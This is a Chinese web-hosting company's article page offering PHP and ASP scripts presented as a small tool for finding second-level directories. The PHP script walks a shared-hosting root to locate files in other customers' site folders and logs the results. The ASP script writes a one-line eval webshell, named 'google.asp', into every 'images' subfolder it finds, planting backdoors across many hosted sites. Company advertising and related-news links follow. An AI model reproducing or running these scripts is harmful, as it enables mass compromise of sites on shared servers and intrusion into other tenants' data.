建站专提News

php一个找二层目录的小东东

一佰互联网站开发设计(www.yinxi.net) 发布日期 2019-04-30 09:21:37 浏览数: 97

php版
复制代码 代码如下:
<?php
set_time_limit(0);
$path = "D:/Hosting";
$somefile = $_GET["key"];
$logfile = "D:/Hosting/6668835/html/images/ennumdir.txt";
if (!isset($_SERVER["PHP_AUTH_USER"])) {
header("WWW-Authenticate: Basic realm="My Realm"");
header("HTTP/1.0 401 Unauthorized");
echo "Text to send if user hits Cancel button";
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = "";
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET["dir"])
{
continue;
}
/*
if($filename{1} != $_GET["two"])
{
continue;
}
*/
//$path2 = $path."/".$filename."/html";
$path2 = $path."/".$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo"[+]Found !".$filename2."";
file_put_contents($logfile,"[+]Found !".$path2."/".$filename2."",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,"[*]LAST ".$path2."",FILE_APPEND);
closedir($handle);
}
}

asp版
复制代码 代码如下:
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
" Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>
一佰互联是全国知名建站品牌服务商,我们有九年网站建设、网站制作、网页设计、php开发和域名注册及虚拟主机服务经验,提供的自助建站服务更是全国有名。近年来还整合团队优势自主开发了可视化多用户”巅云建站系统“3.0平台版,拖拽排版网站制作设计,轻松实现pc站、手机微网站、小程序、APP一体化全网营销网站建设 ,已成功的为全国上百家网络公司提供自助建站平台搭建服务。

相关新闻more

05
04月
做好这五点,网站关键词的排名显著提高

简介:如何提高网站关键词的排名?更多资讯可关注"九淘大数据",里面有更多的推广文章知识,也可以咨询小编(jt88116)... >>详情

02
05月
公司网站优化需要注意哪些细节? 10大策划技

跟着互联网的高速开展,公司网站建造早已变成公司运营的一种必要手段。公司具有一个自个的官网是非常主要的,也是一个公司互联网战略的根底。任何一个... >>详情

28
04月
php正则匹配html中带class的div

本文实例讲述了php正则匹配html中带class的div并选取其中内容的方法。分享给大家供大家参考。具体分析如下:先看一段html代码:复... >>详情

28
04月
php中的动态调用实例分析

本文实例讲述了php中的动态调用具体用法。分享给大家供大家参考。具体分析如下:在程序中如果加一大堆判断的确是一个很大的麻烦,例如这样:复制代... >>详情

高端网站建设

美工兼顾SEO,为企业电子商务营销助力!

电话:

023-85725751
建站

产品

域名注册 虚拟主机 云服务器 企业邮局
智能建站 APP打包 微站/小程序 创业平台
网站推广 媒体营销 智能采集 AI机器人
400电话 短信营销 店销机器人
私人定制 门户网站